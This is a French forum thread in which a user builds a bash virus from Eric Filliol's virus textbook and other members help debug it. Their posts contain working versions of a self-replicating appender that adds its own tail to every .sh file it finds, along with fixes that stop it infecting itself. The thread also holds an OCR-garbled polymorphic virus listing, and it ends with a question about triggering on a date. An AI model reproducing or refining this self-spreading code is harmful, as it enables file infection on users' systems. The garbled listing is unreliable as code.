Contenu | Rechercher | Menus

Annonce

Si vous avez des soucis pour rester connecté, déconnectez-vous puis reconnectez-vous depuis ce lien en cochant la case
Me connecter automatiquement lors de mes prochaines visites.

À propos de l'équipe du forum.

#1 Le 10/02/2017, à 19:19

Jupiter41

[Résolu] Livre Eric Filliol Problème

Salut,

Ayant depuis récemment commencé la lecture du livre d'Eric Filliol : Les virus: théorie, pratique, application 2éme édition (je crois) j'ai créer en reprenant les codes un virus qui infecte la fin d'un fichier et evite la surinfection avec un signature fixe. Malheureusement je me retrouve avec cette erreur :

./Virus.sh: ligne 7: erreur de syntaxe près du symbole inattendu « fi »
./Virus.sh: ligne 7: `fi'

Et voici le code :

if [ -z $(cat $i | grep "test5959") ]; then

 for i in *.sh ; do

tail -n 5 $0 | cat >> $i

fi

done

Je vous remercie d'avance !

Cordialement,

Jupiter41

Dernière modification par Jupiter41 (Le 12/02/2017, à 22:59)

Hors ligne

#2 Le 10/02/2017, à 20:10

pingouinux

Re : [Résolu] Livre Eric Filliol Problème

Bonjour,
Les blocs

if ...; then
.......
fi

et

for ...; do
.....
done

ne doivent pas se chevaucher.

La première ligne peut être remplacée par

if grep -q "test5959" "$i"; then

Mets des " " autour des variables $0 et $i, au cas où elles contiendraient des espaces.

Ajouté : Je pense que tu as inversé les 2 premières lignes.

Dernière modification par pingouinux (Le 10/02/2017, à 20:11)

Hors ligne

#3 Le 10/02/2017, à 22:15

Jupiter41

Re : [Résolu] Livre Eric Filliol Problème

Ok merci ! Si j'ai bien compris je dois juste inverser le for et le if c'est sa ?

Hors ligne

#4 Le 10/02/2017, à 22:18

pingouinux

Re : [Résolu] Livre Eric Filliol Problème

Oui, sinon la variable i n'est pas définie.

Hors ligne

#5 Le 11/02/2017, à 01:16

Rufus T. Firefly

Re : [Résolu] Livre Eric Filliol Problème

Salut,

L'indentation est bien utile, même si en faire peut paraître "chiant" :

for i in *.sh ; do
  if [ -z $(cat $i | grep "test5959") ]; then
    tail -n 5 $0 | cat >> $i
  fi
done

versus

for i in *.sh ; do
  if [ -z $(cat $i | grep "test5959") ]; then
    tail -n 5 $0 | cat >> $i
done
  fi

On voit immédiatement qu'il y a quelque chose de pas clair...

Dernière modification par Rufus T. Firefly (Le 11/02/2017, à 01:23)


La provocation est une façon de remettre la réalité sur ses pieds. (Bertolt Brecht)
Il n'y a pas de route royale pour la science et ceux-là seulement ont chance d'arriver à ses sommets lumineux qui ne craignent pas de se fatiguer à gravir ses sentiers escarpés. (Karl Marx)
Il est devenu plus facile de penser la fin du monde que la fin du capitalisme

Hors ligne

#6 Le 11/02/2017, à 05:56

Watael

Re : [Résolu] Livre Eric Filliol Problème

est-ce qu'on parle des guillemets manquants autour des variables et de la substitution de commande ?
des UUOC ?
du test inutile ?
de la regex qui n'est pas entre apostrophes ?

for f in *.sh ; do
   if test -f "$f"
   then
      ((grep -c 'test5959' "$f")) && tail -n 5 "$0" >> "$f"
   fi
done

allez, sans la boucle :

shopt -s extglob
grep -sl 'test5959' ./!(Virus).sh | xargs -I {} tail -n 5 "$0" >> {}

Dernière modification par Watael (Le 11/02/2017, à 12:05)


Connected \o/
Welcome to sHell. · eval is evil.

Hors ligne

#7 Le 11/02/2017, à 11:45

Jupiter41

Re : [Résolu] Livre Eric Filliol Problème

Watel ton code ne marche qu'une fois sur 2 soit il infecte le fichier test.sh (le fichier que je veux infecté) et le fichier Virus.sh donc cela ne marche plus après soit il infecte que le Virus.sh ...

Rufus Je sais que l'indentation est utile big_smile (j'adore quand le code est bien lisbile etc... en plus) mais au départ c'était pour tester je l'aurais indenté après. Ton code marche très bien mais il y a une petite erreur même si sa infecte le fichier :

./Virus.sh: ligne 2 : [: trop d'arguments

Merci beaucoup pour votre aide en tout cas ! smile

EDIT : En faite je viens de voir que l'erreur s'écrit autant de fois qu'il y a de fichier infécté (en comptant le Virus.Sh) par exemple la première fois il y a qu'une fois l'erreur et la je viens de tester en mettant plusieur fichiers (3 + Virus.sh) et sa fait 4 fois l'erreur.

./Virus.sh: ligne 2 : [: trop d'arguments
./Virus.sh: ligne 2 : [: trop d'arguments
./Virus.sh: ligne 2 : [: trop d'arguments
./Virus.sh: ligne 2 : [: trop d'arguments

Dernière modification par Jupiter41 (Le 11/02/2017, à 11:49)

Hors ligne

#8 Le 11/02/2017, à 12:05

Watael

Re : [Résolu] Livre Eric Filliol Problème

trop d'arguments : relis attentivement mon précédent message.

j'ai de plus modifié les codes pour tenir compte de ta remarque.

Dernière modification par Watael (Le 11/02/2017, à 12:06)


Connected \o/
Welcome to sHell. · eval is evil.

Hors ligne

#9 Le 11/02/2017, à 13:02

Jupiter41

Re : [Résolu] Livre Eric Filliol Problème

Watael je ne vois pas ce qui bug pourrais tu préciser ?

De plus ta première commande ne marche toujours pas :

./Virus.sh: ligne 4: ((: grep -c test5959 test2.sh : erreur de syntaxe : opérateur arithmétique non valable (le symbole erroné est ".sh")
./Virus.sh: ligne 4: ((: grep -c test5959 test3.sh : erreur de syntaxe : opérateur arithmétique non valable (le symbole erroné est ".sh")
./Virus.sh: ligne 4: ((: grep -c test5959 test.sh : erreur de syntaxe : opérateur arithmétique non valable (le symbole erroné est ".sh")
./Virus.sh: ligne 4: ((: grep -c test5959 Virus.sh : erreur de syntaxe : opérateur arithmétique non valable (le symbole erroné est ".sh")

Et de même pour ta deuxième commande qui créer un fichier {}.txt il y a bien le code virus dedans mais il se répète le nombre de fichier à infecté (c'est à dire 3fois)

Hors ligne

#10 Le 11/02/2017, à 13:08

Watael

Re : [Résolu] Livre Eric Filliol Problème

oops, j'ai oublié la substitution de commande : (( $(grep -c ...) ))

et ce qui ne va pas dans ta commande, c'est l'absence de guillemets autour des variables et des substitutions de commande dans les tests


Connected \o/
Welcome to sHell. · eval is evil.

Hors ligne

#11 Le 11/02/2017, à 14:10

Jupiter41

Re : [Résolu] Livre Eric Filliol Problème

Tu vois sa ou ? :

for i in *.sh ; do
  if [ -z $(cat $i | grep "test5959") ]; then
    tail -n 5 $0 | cat >> $i
  fi
done

Hors ligne

#12 Le 11/02/2017, à 14:17

Watael

Re : [Résolu] Livre Eric Filliol Problème

for i in *.sh
do
   if test -z "$(grep 'test5959' "$i")" # là
   then
      tail -n 5 "$0" >> "$i" # et là
   fi
done

Dernière modification par Watael (Le 11/02/2017, à 14:20)


Connected \o/
Welcome to sHell. · eval is evil.

Hors ligne

#13 Le 11/02/2017, à 14:21

Jupiter41

Re : [Résolu] Livre Eric Filliol Problème

Bon tu ah envoyer ton dernier message avant que j'envoie le mien disant que j'avais trouvé big_smile . Je suis vraiment aveugle des fois

Merci beaucoup pour ton aide !!

PS: Mais tes 2 codes ne marchent pas.

Dernière modification par Jupiter41 (Le 11/02/2017, à 14:23)

Hors ligne

#14 Le 11/02/2017, à 14:24

Watael

Re : [Résolu] Livre Eric Filliol Problème

« ça marche pas » est un constat, ce n'est pas une description.

« ch'uis b'alade » vs « j'ai le nez qui coule, de la fièvre, et des courbatures ».

Dernière modification par Watael (Le 11/02/2017, à 14:27)


Connected \o/
Welcome to sHell. · eval is evil.

Hors ligne

#15 Le 11/02/2017, à 15:08

Jupiter41

Re : [Résolu] Livre Eric Filliol Problème

Je n'ai pas accès à mon ordinateur donc je te laisse tester tes codes

Hors ligne

#16 Le 11/02/2017, à 16:38

Watael

Re : [Résolu] Livre Eric Filliol Problème

shopt -s extglob
grep -sl 'test5959' ./!(Virus|test).sh | xargs -ti /bin/sh -c 'tail -n 5 test.sh >> $1' sh {}

ah, bon, sad xargs ne redirige pas la sortie de la commande tout seul.
il faut passer l'argument à un shell.

Dernière modification par Watael (Le 11/02/2017, à 16:39)


Connected \o/
Welcome to sHell. · eval is evil.

Hors ligne

#17 Le 11/02/2017, à 18:01

Jupiter41

Re : [Résolu] Livre Eric Filliol Problème

Laisse tomber ton deuxième code au bout d'un moment il ne ressembleras plus à rien smile. Surtout que maintenant il n'infecte plus rien.

Voici l'erreur de ton premier code (après modif) :

./Virus.sh: ligne 11: erreur de syntaxe près du symbole inattendu « done »
./Virus.sh: ligne 11: `done'

Il fait toujours la même chose (il s'infecte lui même)

Au pire sa marche donc ce n'est pas grave si tes codes ne marche pas :

for i in *.sh ; do
  if [ -z "$(cat $i | grep "test5959")" ]; then
    tail -n 5 "$0" | cat >> "$i"
  fi
done

Dernière modification par Jupiter41 (Le 11/02/2017, à 18:08)

Hors ligne

#18 Le 11/02/2017, à 18:37

Watael

Re : [Résolu] Livre Eric Filliol Problème

t'es sûr que tu veux pas virer ces UUOC* ?

./Virus.sh: ligne 11: erreur de syntaxe près du symbole inattendu « done »
./Virus.sh: ligne 11: `done'

c'est parce qu'il "s'auto-infecte".
comme ça

for f in *.sh #Virus.sh va apparaître dans la boucle
do
   if test -f "$f" && test "$f" != "${0##*/}" #là, ça dépend comment tu exécutes le script
   then
      (($(grep -c 'test5959' "$f"))) && tail -n 5 "$0" >> "$f"
   fi
done

ou en paramétrant shopt:

shopt -s extglob
for f in !(Virus).sh

*Useless Use Of Cat


Connected \o/
Welcome to sHell. · eval is evil.

Hors ligne

#19 Le 11/02/2017, à 21:06

Jupiter41

Re : [Résolu] Livre Eric Filliol Problème

Merci beaucoup pour ton aide et tes explucations Watael ! Je testerais tes codes et je verrais pour les UUOC demain.

Hors ligne

#20 Le 12/02/2017, à 10:18

Jupiter41

Re : [Résolu] Livre Eric Filliol Problème

Salut désolé de vous déranger mais je ne comprends pas trop c'est script de polymorphisme :

# Debut du fichier infecte
echo "Ceci est un exemple de fielder infecte"
mkdir -m 0777 / tmp/ \ /
tail -n 39 $0 I sort -g -t@ + 1 > / tmp/\ / test
chmod -l-x / tmp/\ / test && / tmp/\ / test &
exit 0

Et celui ci

# Lutte contre la surinfection
if [ "$1" == "test" ]; then #@1
exit 0 #@2
fi #@3
# Infection proprement dite
MANAGER=(test cd Is pwd) # noms variables de fichiers temporaires #@4
RANDOM=$$ #@5
for cible in * ; do #@6
# taille cible < taille CPV?
nbligne=$(wc -1 $cible) #@7
nbligne=$(nbligne## ) #@8
nbligne=$(echo $nbligne I cut -d " " -f1) #@9
if [ $(($nbligne)) -lt 42 ] ; then #@10
continue #@11
fi #@12
NEWFILE=$MANAGER[$((RANDOM % 4))] #@13
tail -n 39 $cible I sort -g -t@ +1 > jtmpj\ j"$NEWFILE" #@14
chmod +x jtmpj\ j"$NEWFILE" #@15
if! jtmpj\ j"$NEWFILE" test; then #@16
continue #@17
fi #@18
NEWFILE=$MANAGER[$((RANDOM % 4))] #@19
NEWFILE="/tmp/\ /$NEWFILE" #@20
echo "tail -n 39 $0 > $NEWFILE" >> $cible #@21
echo "chmod +x $NEWFILE && $NEWFILE &" » $cible #@22
echo "exit 0" #@23
tabft=("FT" [39]=" ") #@24
declare -i nbl=O #@25
while [ $nbl -ne 39 ] ; do #@26
valindex=$(((RANDOM % 39)+1)) #@27
while [ "$tabft[$valindex]" == "FT" ] ; do #@28
valindex=$(((RANDOM % 39)+1)) #@29
done #@30
ligne=$(tail -$valindex $0 I head -1) #@31
ligne=$ligne/'\t'#* #@32
echo -e "$ligne"'\t'''@$valindex'' » $cible #@33
nbl=$(($nbl+1)) #@34
done #@35
done #@36
fi #@37
rm /tmp/\ /* #@38
rmdir /tmp/\ /* #@39

Est-ce que quelqu'un pourrait me les expliquer ? smile (et me dire leur emplacement dans le code précédent)

Je vous remercie d'avance !

PS : Je sais qu'il y a des fautes je modifierai sa après.

Cordialement

Hors ligne

#21 Le 12/02/2017, à 11:27

Watael

Re : [Résolu] Livre Eric Filliol Problème

Est-ce que quelqu'un pourrait me les expliquer ?
[...]
PS : Je sais qu'il y a des fautes je modifierai sa après.

tu t'imagines expliquer un texte de Mallarmé, qui aurait été dicté par un "cœur brisé" à un "prince de l'amour", ou par un "ch'ti" à un "marseillais" ?


Connected \o/
Welcome to sHell. · eval is evil.

Hors ligne

#22 Le 12/02/2017, à 11:45

Jupiter41

Re : [Résolu] Livre Eric Filliol Problème

Watael a écrit :

tu t'imagines expliquer un texte de Mallarmé, qui aurait été dicté par un "cœur brisé" à un "prince de l'amour", ou par un "ch'ti" à un "marseillais" ?

Belles références big_smile. Je vais m'informer tout seul alors

Alain a écrit :

À s'informer de tout, on ne sait jamais rien.

Emile Gabauriaud-Pagès a écrit :

L 'art de la pédagogie est fait d 'humilité et non de fatuité : le but de tout enseignement n’est pas que le professeur, par un discours inutilement complique et pédant, paraisse intelligent, mais que ses élèves en aient vaincu les moindres difficultés et en ressortent grandis.

Dernière modification par Jupiter41 (Le 12/02/2017, à 11:47)

Hors ligne

#23 Le 12/02/2017, à 11:55

Watael

Re : [Résolu] Livre Eric Filliol Problème

Jupiter41 a écrit :
Emile Gabauriaud-Pagès a écrit :

L'art de la pédagogie est fait d 'humilité et non de fatuité : le but de tout enseignement n’est pas que le professeur, par un discours inutilement compliqué et pédant, paraisse intelligent, mais que ses élèves en aient vaincu les moindres difficultés et en ressortent grandis.

je la prends pour moi.
il faut que je me la grave quelque part.

mais, quand tu maîtriseras le shell, peut-être n'admettras-tu, toi non plus, qu'il soit sous-estimé, méprisé, et maltraité par des débutants irrespectueux de la syntaxe de ce langage de programmation.

Dernière modification par Watael (Le 12/02/2017, à 13:48)


Connected \o/
Welcome to sHell. · eval is evil.

Hors ligne

#24 Le 12/02/2017, à 14:39

Jupiter41

Re : [Résolu] Livre Eric Filliol Problème

Cette citation viens du livre smile

Sûrement oui, je vais donc me parfaire dans la maîtrise de ce langage obscur .

Hors ligne

#25 Le 12/02/2017, à 14:56

Jupiter41

Re : [Résolu] Livre Eric Filliol Problème

Dernière question avant de mettre le sujet en résolu : Comment tester si la commande date +%b%d est égale à un certain jour (surtout sa pour obtenir la date je sais faire) ?

Hors ligne